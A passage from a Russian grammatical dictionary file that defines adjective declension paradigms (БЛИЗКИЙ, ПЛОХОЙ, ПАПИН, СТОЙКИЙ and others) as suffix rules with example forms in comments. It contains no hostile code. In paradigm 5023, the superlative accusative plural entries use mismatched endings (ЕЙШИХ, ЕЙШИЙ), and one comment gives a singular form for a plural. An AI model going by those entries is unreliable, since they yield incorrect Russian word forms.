ЧИСЛО:ЕД РОД { "%-2%+ИМ" "%-2%+ОЙ" "%-2%+ИМ" } // БЛИЗКИМ БЛИЗКОЙ БЛИЗКИМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ОЮ" } // БЛИЗКОЮ
ЧИСЛО:МН { "%-2%+ИМИ" } // БЛИЗКИМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "" } // БЛИЗКИЙ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+УЮ" } // БЛИЗКУЮ
ЧИСЛО:ЕД РОД:СР { "%-2%+ОЕ" } // БЛИЗКОЕ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-2%+ОГО" } // БЛИЗКОГО
ЧИСЛО:МН ОДУШ:ОДУШ { "%-2%+ИХ" } // БЛИЗКИХ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-2%+ИЕ" } // БЛИЗКИЕ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-2%+ОМУ" "%-2%+ОЙ" "%-2%+ОМУ" } // БЛИЗКОМУ БЛИЗКОЙ БЛИЗКОМУ
ЧИСЛО:МН { "%-2%+ИМ" } // БЛИЗКИМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-2%+ОМ" "%-2%+ОЙ" "%-2%+ОМ" } // БЛИЗКОМ БЛИЗКОЙ БЛИЗКОМ
ЧИСЛО:МН { "%-2%+ИХ" } // БЛИЗКИХ
}
}
КРАТКИЙ ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "%-3%+ОК" "%-2%+А" "%-2%+О" } // БЛИЗОК БЛИЗКА БЛИЗКО
ЧИСЛО:МН { "%-1%+И" } // БЛИЗКИ
}
}
СТЕПЕНЬ:СРАВН ~КРАТКИЙ { "%-4%+ЖЕ" } // БЛИЖЕ
СТЕПЕНЬ:ПРЕВОСХ ~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "%-4%+ЖАЙШИЙ" "%-4%+ЖАЙШАЯ" "%-4%+ЖАЙШЕЕ" } // БЛИЖАЙШИЙ БЛИЖАЙШАЯ БЛИЖАЙШЕЕ
ЧИСЛО:МН { "%-4%+ЖАЙШИЕ" } // БЛИЖАЙШИЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-4%+ЖАЙШЕГО" "%-4%+ЖАЙШЕЙ" "%-4%+ЖАЙШЕГО" } // БЛИЖАЙШЕГО БЛИЖАЙШЕЙ БЛИЖАЙШЕГО
ЧИСЛО:МН { "%-4%+ЖАЙШИХ" } // БЛИЖАЙШИХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-4%+ЖАЙШИМ" "%-4%+ЖАЙШЕЙ" "%-4%+ЖАЙШИМ" } // БЛИЖАЙШИМ БЛИЖАЙШЕЙ БЛИЖАЙШИМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-4%+ЖАЙШЕЮ" } // БЛИЖАЙШЕЮ
ЧИСЛО:МН { "%-4%+ЖАЙШИМИ" } // БЛИЖАЙШИМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "%-4%+ЖАЙШИЙ" } // БЛИЖАЙШИЙ
ЧИСЛО:ЕД РОД:ЖЕН { "%-4%+ЖАЙШУЮ" } // БЛИЖАЙШУЮ
ЧИСЛО:ЕД РОД:СР { "%-4%+ЖАЙШЕЕ" } // БЛИЖАЙШЕЕ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-4%+ЖАЙШЕГО" } // БЛИЖАЙШЕГО
ЧИСЛО:МН ОДУШ:ОДУШ { "%-4%+ЕЙШИХ" } // БЛИЖАЙШИХ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-4%+ЕЙШИЙ" } // БЛИЖАЙШИЙ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-4%+ЖАЙШЕМУ" "%-4%+ЖАЙШЕЙ" "%-4%+ЖАЙШЕМУ" } // БЛИЖАЙШЕМУ БЛИЖАЙШЕЙ БЛИЖАЙШЕМУ
ЧИСЛО:МН { "%-4%+ЖАЙШИМ" } // БЛИЖАЙШИМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-4%+ЖАЙШЕМ" "%-4%+ЖАЙШЕЙ" "%-4%+ЖАЙШЕМ" } // БЛИЖАЙШЕМ БЛИЖАЙШЕЙ БЛИЖАЙШЕМ
ЧИСЛО:МН { "%-4%+ЖАЙШИХ" } // БЛИЖАЙШИХ
}
}
} // end of paradigm 5023
// ИМЕЮЩИЙСЯ
paradigm Имеющийся, Прил_5024 : ПРИЛАГАТЕЛЬНОЕ for "(.+)[ШЩ]ИЙСЯ"
{
СТЕПЕНЬ:АТРИБ |{
~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "" "%-4%+АЯСЯ" "%-4%+ЕЕСЯ" } // ИМЕЮЩИЙСЯ ИМЕЮЩАЯСЯ ИМЕЮЩЕЕСЯ
ЧИСЛО:МН { "%-4%+ИЕСЯ" } // ИМЕЮЩИЕСЯ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-4%+ЕГОСЯ" "%-4%+ЕЙСЯ" "%-4%+ЕГОСЯ" } // ИМЕЮЩЕГОСЯ ИМЕЮЩЕЙСЯ ИМЕЮЩЕГОСЯ
ЧИСЛО:МН { "%-4%+ИХСЯ" } // ИМЕЮЩИХСЯ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-4%+ИМСЯ" "%-4%+ЕЙСЯ" "%-4%+ИМСЯ" } // ИМЕЮЩИМСЯ ИМЕЮЩЕЙСЯ ИМЕЮЩИМСЯ
ЧИСЛО:ЕД РОД:ЖЕН { "%-4%+ЕЮСЯ" } // ИМЕЮЩЕЮСЯ
ЧИСЛО:МН { "%-4%+ИМИСЯ" } // ИМЕЮЩИМИСЯ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "" } // ИМЕЮЩИЙСЯ
ЧИСЛО:ЕД РОД:ЖЕН { "%-4%+УЮСЯ" } // ИМЕЮЩУЮСЯ
ЧИСЛО:ЕД РОД:СР { "%-4%+ЕЕСЯ" } // ИМЕЮЩЕЕСЯ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-4%+ЕГОСЯ" } // ИМЕЮЩЕГОСЯ
ЧИСЛО:МН ОДУШ:ОДУШ { "%-4%+ИХСЯ" } // ИМЕЮЩИХСЯ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-4%+ИЕСЯ" } // ИМЕЮЩИЕСЯ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-4%+ЕМУСЯ" "%-4%+ЕЙСЯ" "%-4%+ЕМУСЯ" } // ИМЕЮЩЕМУСЯ ИМЕЮЩЕЙСЯ ИМЕЮЩЕМУСЯ
ЧИСЛО:МН { "%-4%+ИМСЯ" } // ИМЕЮЩИМСЯ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-4%+ЕМСЯ" "%-4%+ЕЙСЯ" "%-4%+ЕМСЯ" } // ИМЕЮЩЕМСЯ ИМЕЮЩЕЙСЯ ИМЕЮЩЕМСЯ
ЧИСЛО:МН { "%-4%+ИХСЯ" } // ИМЕЮЩИХСЯ
}
}
}
} // end of paradigm 5024
// ПЛОХОЙ etc.
paradigm Плохой, Прил_5026 : ПРИЛАГАТЕЛЬНОЕ for "(.+)\\@аХОЙ"
{
СТЕПЕНЬ:АТРИБ |{
~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "" "%-2%+АЯ" "%-2%+ОЕ" } // ПЛОХОЙ ПЛОХАЯ ПЛОХОЕ
ЧИСЛО:МН { "%-2%+ИЕ" } // ПЛОХИЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-2%+ОГО" "%-2%+ОЙ" "%-2%+ОГО" } // ПЛОХОГО ПЛОХОЙ ПЛОХОГО
ЧИСЛО:МН { "%-2%+ИХ" } // ПЛОХИХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-2%+ИМ" "%-2%+ОЙ" "%-2%+ИМ" } // ПЛОХИМ ПЛОХОЙ ПЛОХИМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ОЮ" } // ПЛОХОЮ
ЧИСЛО:МН { "%-2%+ИМИ" } // ПЛОХИМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "" } // ПЛОХОЙ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+УЮ" } // ПЛОХУЮ
ЧИСЛО:ЕД РОД:СР { "%-2%+ОЕ" } // ПЛОХОЕ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-2%+ОГО" } // ПЛОХОГО
ЧИСЛО:МН ОДУШ:ОДУШ { "%-2%+ИХ" } // ПЛОХИХ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-2%+ИЕ" } // ПЛОХИЕ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-2%+ОМУ" "%-2%+ОЙ" "%-2%+ОМУ" } // ПЛОХОМУ ПЛОХОЙ ПЛОХОМУ
ЧИСЛО:МН { "%-2%+ИМ" } // ПЛОХИМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-2%+ОМ" "%-2%+ОЙ" "%-2%+ОМ" } // ПЛОХОМ ПЛОХОЙ ПЛОХОМ
ЧИСЛО:МН { "%-2%+ИХ" } // ПЛОХИХ
}
}
КРАТКИЙ ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "%-2" "%-2%+А" "%-2%+О" } // ПЛОХ ПЛОХА ПЛОХО
ЧИСЛО:МН { "%-2%+И" } // ПЛОХИ
}
}
} // end of paradigm 5026
// ПАПИН etc.
paradigm Папин, Прил_5028 : ПРИЛАГАТЕЛЬНОЕ for "(.+)[НВ]"
{
СТЕПЕНЬ:АТРИБ ~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "" "%+А" "%+О" } // ПАПИН ПАПИНА ПАПИНО
ЧИСЛО:МН { "%+Ы" } // ПАПИНЫ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%+ОГО" "%+ОЙ" "%+ОГО" } // ПАПИНОГО ПАПИНОЙ ПАПИНОГО
ЧИСЛО:МН { "%+ЫХ" } // ПАПИНЫХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%+ЫМ" "%+ОЙ" "%+ЫМ" } // ПАПИНЫМ ПАПИНОЙ ПАПИНЫМ
ЧИСЛО:ЕД РОД:ЖЕН { "%+ОЮ" } // ПАПИНОЮ
ЧИСЛО:МН { "%+ЫМИ" } // ПАПИНЫМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "" } // ПАПИН
ЧИСЛО:ЕД РОД:ЖЕН { "%+У" } // ПАПИНУ
ЧИСЛО:ЕД РОД:СР { "%+О" } // ПАПИНО
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%+ОГО" } // ПАПИНОГО
ЧИСЛО:МН ОДУШ:ОДУШ { "%+ЫХ" } // ПАПИНЫХ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%+Ы" } // ПАПИНЫ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%+ОМУ" "%+ОЙ" "%+ОМУ" } // ПАПИНОМУ ПАПИНОЙ ПАПИНОМУ
ЧИСЛО:МН { "%+ЫМ" } // ПАПИНЫМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%+ОМ" "%+ОЙ" "%+ОМ" } // ПАПИНОМ ПАПИНОЙ ПАПИНОМ
ЧИСЛО:МН { "%+ЫХ" } // ПАПИНЫХ
}
}
} // end of paradigm 5028
// МЕЛОВОЙ, РАСТЛЕННЫЙ etc.
paradigm Меловой, Прил_5029 : ПРИЛАГАТЕЛЬНОЕ for "(.+)[ОЫ]Й"
{
СТЕПЕНЬ:АТРИБ |{
~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "" "%-2%+АЯ" "%-2%+ОЕ" } // МЕЛОВОЙ МЕЛОВАЯ МЕЛОВОЕ
ЧИСЛО:МН { "%-2%+ЫЕ" } // МЕЛОВЫЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-2%+ОГО" "%-2%+ОЙ" "%-2%+ОГО" } // МЕЛОВОГО МЕЛОВОЙ МЕЛОВОГО
ЧИСЛО:МН { "%-2%+ЫХ" } // МЕЛОВЫХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-2%+ЫМ" "%-2%+ОЙ" "%-2%+ЫМ" } // МЕЛОВЫМ МЕЛОВОЙ МЕЛОВЫМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ОЮ" } // МЕЛОВОЮ
ЧИСЛО:МН { "%-2%+ЫМИ" } // МЕЛОВЫМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "" } // МЕЛОВОЙ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+УЮ" } // МЕЛОВУЮ
ЧИСЛО:ЕД РОД:СР { "%-2%+ОЕ" } // МЕЛОВОЕ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-2%+ОГО" } // МЕЛОВОГО
ЧИСЛО:МН ОДУШ:ОДУШ { "%-2%+ЫХ" } // МЕЛОВЫХ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-2%+ЫЕ" } // МЕЛОВЫЕ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-2%+ОМУ" "%-2%+ОЙ" "%-2%+ОМУ" } // МЕЛОВОМУ МЕЛОВОЙ МЕЛОВОМУ
ЧИСЛО:МН { "%-2%+ЫМ" } // МЕЛОВЫМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-2%+ОМ" "%-2%+ОЙ" "%-2%+ОМ" } // МЕЛОВОМ МЕЛОВОЙ МЕЛОВОМ
ЧИСЛО:МН { "%-2%+ЫХ" } // МЕЛОВЫХ
}
}
}
} // end of paradigm 5029
// *************************************************************
// УБЫТОЧНЫЙ + УБЫТОЧЕН etc. - 5001 без сравнительной и превосходной степеней
// *************************************************************
paradigm Убыточный, Прил_5031 : ПРИЛАГАТЕЛЬНОЕ for "(.+)\\@бНЫЙ"
{
СТЕПЕНЬ:АТРИБ |{
~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "" "%-2%+АЯ" "%-2%+ОЕ" } // СМЕРТНЫЙ СМЕРТНАЯ СМЕРТНОЕ
ЧИСЛО:МН { "%-2%+ЫЕ" } // СМЕРТНЫЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-2%+ОГО" "%-2%+ОЙ" "%-2%+ОГО" } // СМЕРТНОГО СМЕРТНОЙ СМЕРТНОГО
ЧИСЛО:МН { "%-2%+ЫХ" } // СМЕРТНЫХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-2%+ЫМ" "%-2%+ОЙ" "%-2%+ЫМ" } // СМЕРТНЫМ СМЕРТНОЙ СМЕРТНЫМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ОЮ" } // СМЕРТНОЮ
ЧИСЛО:МН { "%-2%+ЫМИ" } // СМЕРТНЫМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "" } // СМЕРТНЫЙ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+УЮ" } // СМЕРТНУЮ
ЧИСЛО:ЕД РОД:СР { "%-2%+ОЕ" } // СМЕРТНОЕ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-2%+ОГО" } // СМЕРТНОГО
ЧИСЛО:МН ОДУШ:ОДУШ { "%-2%+ЫХ" } // СМЕРТНЫХ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-2%+ЫЕ" } // СМЕРТНЫЕ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-2%+ОМУ" "%-2%+ОЙ" "%-2%+ОМУ" } // СМЕРТНОМУ СМЕРТНОЙ СМЕРТНОМУ
ЧИСЛО:МН { "%-2%+ЫМ" } // СМЕРТНЫМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-2%+ОМ" "%-2%+ОЙ" "%-2%+ОМ" } // СМЕРТНОМ СМЕРТНОЙ СМЕРТНОМ
ЧИСЛО:МН { "%-2%+ЫХ" } // СМЕРТНЫХ
}
}
КРАТКИЙ ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "%-3%+ЕН" "%-2%+А" "%-2%+О" } // СМЕРТЕН СМЕРТНА СМЕРТНО
ЧИСЛО:МН { "%-1" } // СМЕРТНЫ
}
}
} // end of paradigm 5031
// ПРИВИТЫЙ etc. (аналогично 5002, есть краткая форма, но нет сравнительной и превосходной)
paradigm Привитый, Прил_5032 : ПРИЛАГАТЕЛЬНОЕ for "(.+)\\@аТЫЙ"
{
СТЕПЕНЬ:АТРИБ |{
~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "" "%-2%+АЯ" "%-2%+ОЕ" } // ПРИВИТЫЙ ПРИВИТАЯ ПРИВИТОЕ
ЧИСЛО:МН { "%-2%+ЫЕ" } // ПРИВИТЫЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-2%+ОГО" "%-2%+ОЙ" "%-2%+ОГО" } // ПРИВИТОГО ПРИВИТОЙ ПРИВИТОГО
ЧИСЛО:МН { "%-2%+ЫХ" } // ПРИВИТЫХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-2%+ЫМ" "%-2%+ОЙ" "%-2%+ЫМ" } // ПРИВИТЫМ ПРИВИТОЙ ПРИВИТЫМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ОЮ" } // ПРИВИТОЮ
ЧИСЛО:МН { "%-2%+ЫМИ" } // ПРИВИТЫМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "" } // ПРИВИТЫЙ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+УЮ" } // ПРИВИТУЮ
ЧИСЛО:ЕД РОД:СР { "%-2%+ОЕ" } // ПРИВИТОЕ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-2%+ОГО" } // ПРИВИТОГО
ЧИСЛО:МН ОДУШ:ОДУШ { "%-2%+ЫХ" } // ПРИВИТЫХ ЛЮДЕЙ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-2%+ЫЕ" } // ПРИВИТЫЕ ГРЕХИ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-2%+ОМУ" "%-2%+ОЙ" "%-2%+ОМУ" } // ПРИВИТОМУ ПРИВИТОЙ ПРИВИТОМУ
ЧИСЛО:МН { "%-2%+ЫМ" } // ПРИВИТЫМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-2%+ОМ" "%-2%+ОЙ" "%-2%+ОМ" } // ПРИВИТОМ ПРИВИТОЙ ПРИВИТОМ
ЧИСЛО:МН { "%-2%+ЫХ" } // ПРИВИТЫХ
}
}
КРАТКИЙ ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "%-2" "%-2%+А" "%-2%+О" } // ПРИВИТ ПРИВИТА ПРИВИТО
ЧИСЛО:МН { "%-2%+Ы" } // ПРИВИТЫ
}
}
} // end of paradigm 5032
// *******************************************
// БЕГУЩИЙ - в основном причастия
// *******************************************
paradigm Делающий, Прил_5034 : ПРИЛАГАТЕЛЬНОЕ for "(.+)[ШЩЧ]ИЙ"
{
СТЕПЕНЬ:АТРИБ |{
~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "" "%-2%+АЯ" "%-2%+ЕЕ" } // ГОРЯЧИЙ ГОРЯЧАЯ ГОРЯЧЕЕ
ЧИСЛО:МН { "%-2%+ИЕ" } // ГОРЯЧИЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-2%+ЕГО" "%-2%+ЕЙ" "%-2%+ЕГО" } // ГОРЯЧЕГО ГОРЯЧЕЙ ГОРЯЧЕГО
ЧИСЛО:МН { "%-2%+ИХ" } // ГОРЯЧИХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-2%+ИМ" "%-2%+ЕЙ" "%-2%+ИМ" } // ГОРЯЧИМ ГОРЯЧЕЙ ГОРЯЧИМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ЕЮ" } // ГОРЯЧЕЮ
ЧИСЛО:МН { "%-2%+ИМИ" } // ГОРЯЧИМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "" } // ГОРЯЧИЙ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-2%+ЕГО" } // ГОРЯЧЕГО
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+УЮ" } // ГОРЯЧУЮ
ЧИСЛО:ЕД РОД:СР { "%-2%+ЕЕ" } // ГОРЯЧЕЕ
ЧИСЛО:МН ОДУШ:ОДУШ { "%-2%+ИХ" } // ГОРЯЧИХ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-2%+ИЕ" } // ГОРЯЧИЕ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-2%+ЕМУ" "%-2%+ЕЙ" "%-2%+ЕМУ" } // ГОРЯЧЕМУ ГОРЯЧЕЙ ГОРЯЧЕМУ
ЧИСЛО:МН { "%-2%+ИМ" } // ГОРЯЧИМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-2%+ЕМ" "%-2%+ЕЙ" "%-2%+ЕМ" } // ГОРЯЧЕМ ГОРЯЧЕЙ ГОРЯЧЕМ
ЧИСЛО:МН { "%-2%+ИХ" } // ГОРЯЧИХ
}
}
}
} // end of paradigm 5034
// ДАЛЬНОЗОРКИЙ
// --- есть краткая форма ---
paradigm Дальнозоркий, Прил_5035 : ПРИЛАГАТЕЛЬНОЕ for "(.+)\\@бКИЙ"
{
СТЕПЕНЬ:АТРИБ |{
~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "" "%-2%+АЯ" "%-2%+ОЕ" } // ДАЛЬНОЗОРКИЙ ДАЛЬНОЗОРКАЯ ДАЛЬНОЗОРКОЕ
ЧИСЛО:МН { "%-1%+Е" } // ДАЛЬНОЗОРКИЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-2%+ОГО" "%-2%+ОЙ" "%-2%+ОГО" } // ДАЛЬНОЗОРКОГО ДАЛЬНОЗОРКОЙ ДАЛЬНОЗОРКОГО
ЧИСЛО:МН { "%-1%+Х" } // ДАЛЬНОЗОРКИХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-1%+М" "%-2%+ОЙ" "%-1%+М" } // ДАЛЬНОЗОРКИМ ДАЛЬНОЗОРКОЙ ДАЛЬНОЗОРКИМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ОЮ" } // ДАЛЬНОЗОРКОЮ
ЧИСЛО:МН { "%-1%+МИ" } // ДАЛЬНОЗОРКИМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "" } // ДАЛЬНОЗОРКИЙ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+УЮ" } // ДАЛЬНОЗОРКУЮ
ЧИСЛО:ЕД РОД:СР { "%-2%+ОЕ" } // ДАЛЬНОЗОРКОЕ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-2%+ОГО" } // ДАЛЬНОЗОРКОГО
ЧИСЛО:МН ОДУШ:ОДУШ { "%-1%+Х" } // ДАЛЬНОЗОРКИХ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-1%+Е" } // ДАЛЬНОЗОРКИЕ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-2%+ОМУ" "%-2%+ОЙ" "%-2%+ОМУ" } // ДАЛЬНОЗОРКОМУ ДАЛЬНОЗОРКОЙ ДАЛЬНОЗОРКОМУ
ЧИСЛО:МН { "%-1%+М" } // ДАЛЬНОЗОРКИМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-2%+ОМ" "%-2%+ОЙ" "%-2%+ОМ" } // ДАЛЬНОЗОРКОМ ДАЛЬНОЗОРКОЙ ДАЛЬНОЗОРКОМ
ЧИСЛО:МН { "%-1%+Х" } // ДАЛЬНОЗОРКИХ
}
}
КРАТКИЙ ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "%-3%+ОК" "%-2%+А" "%-2%+О" } // ДАЛЬНОЗОРОК ДАЛЬНОЗОРКА ДАЛЬНОЗОРКО
ЧИСЛО:МН { "%-1" } // ДАЛЬНОЗОРКИ
}
}
} // end of paradigm 5035
// СТОЙКИЙ
paradigm Стойкий, Прил_5036 : ПРИЛАГАТЕЛЬНОЕ for "(.+)ЙКИЙ"
{
СТЕПЕНЬ:АТРИБ |{
~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "" "%-2%+АЯ" "%-2%+ОЕ" } // СТОЙКИЙ СТОЙКАЯ СТОЙКОЕ
ЧИСЛО:МН { "%-1%+Е" } // СТОЙКИЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-2%+ОГО" "%-2%+ОЙ" "%-2%+ОГО" } // СТОЙКОГО СТОЙКОЙ СТОЙКОГО
ЧИСЛО:МН { "%-1%+Х" } // СТОЙКИХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-1%+М" "%-2%+ОЙ" "%-1%+М" } // СТОЙКИМ СТОЙКОЙ СТОЙКИМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ОЮ" } // СТОЙКОЮ
ЧИСЛО:МН { "%-1%+МИ" } // СТОЙКИМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "" } // СТОЙКИЙ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+УЮ" } // СТОЙКУЮ
ЧИСЛО:ЕД РОД:СР { "%-2%+ОЕ" } // СТОЙКОЕ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-2%+ОГО" } // СТОЙКОГО
ЧИСЛО:МН ОДУШ:ОДУШ { "%-1%+Х" } // СТОЙКИХ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-1%+Е" } // СТОЙКИЕ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-2%+ОМУ" "%-2%+ОЙ" "%-2%+ОМУ" } // СТОЙКОМУ СТОЙКОЙ СТОЙКОМУ
ЧИСЛО:МН { "%-1%+М" } // СТОЙКИМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-2%+ОМ" "%-2%+ОЙ" "%-2%+ОМ" } // СТОЙКОМ СТОЙКОЙ СТОЙКОМ
ЧИСЛО:МН { "%-1%+Х" } // СТОЙКИХ
}
}
КРАТКИЙ ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "%-4%+ЕК" "%-2%+А" "%-2%+О" } // СТОЕК СТОЙКА СТОЙКО
ЧИСЛО:МН { "%-1" } // СТОЙКИ
}
}
} // end of paradigm 5036
// ОХОТНИЧИЙ
paradigm Охотничий, Прил_5037 : ПРИЛАГАТЕЛЬНОЕ for "(.+)ЧИЙ"
{
СТЕПЕНЬ:АТРИБ |{
~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "" "%-2%+ЬЯ" "%-2%+ЬЕ" } // ОХОТНИЧИЙ ОХОТНИЧЬЯ ОХОТНИЧЬЕ
ЧИСЛО:МН { "%-2%+ЬИ" } // ОХОТНИЧЬИ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-2%+ЬЕГО" "%-2%+ЬЕЙ" "%-2%+ЬЕГО" } // ОХОТНИЧЬЕГО ОХОТНИЧЬЕЙ ОХОТНИЧЬЕГО
ЧИСЛО:МН { "%-2%+ЬИХ" } // ОХОТНИЧЬИХ
}
ПАДЕЖ:ТВОР |{
